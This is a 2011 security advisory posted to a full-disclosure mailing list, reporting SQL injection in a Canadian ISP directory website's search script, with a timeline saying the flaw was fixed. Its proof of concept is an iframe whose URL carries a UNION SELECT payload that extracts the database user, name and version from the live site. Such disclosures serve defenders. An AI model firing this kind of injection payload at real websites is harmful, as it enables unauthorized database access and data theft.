full-disclosure - Canadian ISP Website - SQL Injection Vulnerability

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Message-ID: <4E8B1C49.2000702@vulnerability-lab.com>
Date: Tue, 04 Oct 2011 16:46:33 +0200
From: "research@...nerability-lab.com" <research@...nerability-lab.com>
To: full-disclosure@...ts.grok.org.uk, 
 submissions@...ketstormsecurity.org
Subject: Canadian ISP Website - SQL Injection Vulnerability

Title:
======
Canadian ISP Website - SQL Injection Vulnerability


Date:
=====
2011-09-23



VL-ID:
=====
282


Reference:
==========
http://www.vulnerability-lab.com/get_content.php?id=282


Introduction:
=============
Canadianisp.ca - Is a wholly owned project of Marc Bissonnette /
InternAlysis.
It was originally created as a joint venture with Bob Carrick of Carrick
Solutions, with sole ownership
transferring to Marc Bissonnette on February 16th, 2004. Canadianisp.ca
is the only website that allows
you to search for an Internet service provider (Dial-up, ISDN, DSL,
Cable, Satellite, Point to Point, Wireless
and Voice Over IP (VoIP)) anywhere in Canada. Customers can post
reviews, and ISPs submit their own services.
All for free. CanadianISP is also one of the most accurate and most
up-to-date ISP lists on the net. There are
many ISP lists out there, but the vast majority of them (as far as we
have seen and we last searched and looked
in April of 2011) are out of date, listing companies no longer in
business, no longer providing connectivity
or simply pages of ads with no relevance to the users  search parameters.
ISPs can submit and edit / update their own services at all times, free
of charge.

(Copy of the Vendor Homepage: www.canadianisp.ca/about.htm)


Abstract:
=========
Vulnerability-Lab Team discovered a critical remote SQL Injection
vulnerability on the Canadian ISP main vendor website.


Report-Timeline:
================
2011-09-24: Vendor Notification
2011-10-03: Vendor Response/Feedback
2011-10-04: Vendor Fix/Patch
2011-10-04: Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
Canadian ISP Website - 2011/Q2-3


Exploitation-Technique:
=======================
Remote


Severity:
=========
Critical


Details:
========
A SQL Injection vulnerability is detected on canadians isp website. The
bug allows remote attackers to inject/execute
own sql statements/commands over a vulnerable applicataion parameter on
the main web service. Successful exploitation
of the remote sql injection vulnerability can result in database
managemtn system compromise & website manipulations.

Vulnerable Module(s):
                        [+] ispsearch.cgi

Vulnerable Param(s):
                        [+] ispid


Pictures:
                        ../1.png


Proof of Concept:
=================
The vulnerability can be exploited by remote attackers without user
inter action. For demonstration or reproduce ...

<html>
<head><body>
<title>Remote SQL Injection PoC - CANADIAN ISP</title>
<iframe
src=http://www.canadianisp.ca/cgi-bin/ispsearch.cgi?f=ShowDetail&ispid=19+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,
48,49,50,51,52,53,54,55,56,57,58,concat_ws%280x3a3a,user%28%29,database%28%29,version%28%29%29,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,
101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,
135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,
169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200,201,202,
203,204,205,206,207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,232,233,234,235,236,
237,238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253,254,255,256,257,258,259,260,261,262,263,264,265,266,267,268,269,270,
271,272,273,274,275,276,277,278,279,280,281,282,283,284,285,286,287,288,289,290,291,292,293,294,295,296,297,298,299,300,301,302,303,304,
305,306,307,308,309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,
339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,365,366,367,368,369,370,371,372,
373,374,375,376,377,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,396,397,398,399,400,401,402,403,404,405,406,
407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,427,428,429,430,431,432,433,434,435,436,437,438,439,440,
441,442,443,444,445,446,447-->
<br><br>
</body></head>
</html>


Risk:
=====
The security risk of the remote sql injection vulnerability is estimated
as critical.


Credits:
========
Vulnerability Research Laboratory - Chokri B.A. (Me!ster) [TN]


Disclaimer:
===========
The information provided in this advisory is provided as it is without
any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including
direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers
have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially
usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its
unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.

                            Copyright © 2011|Vulnerability-Lab

-- 
Website: www.vulnerability-lab.com ; vuln-lab.com or vuln-db.com
Contact: admin@...nerability-lab.com or support@...nerability-lab.com


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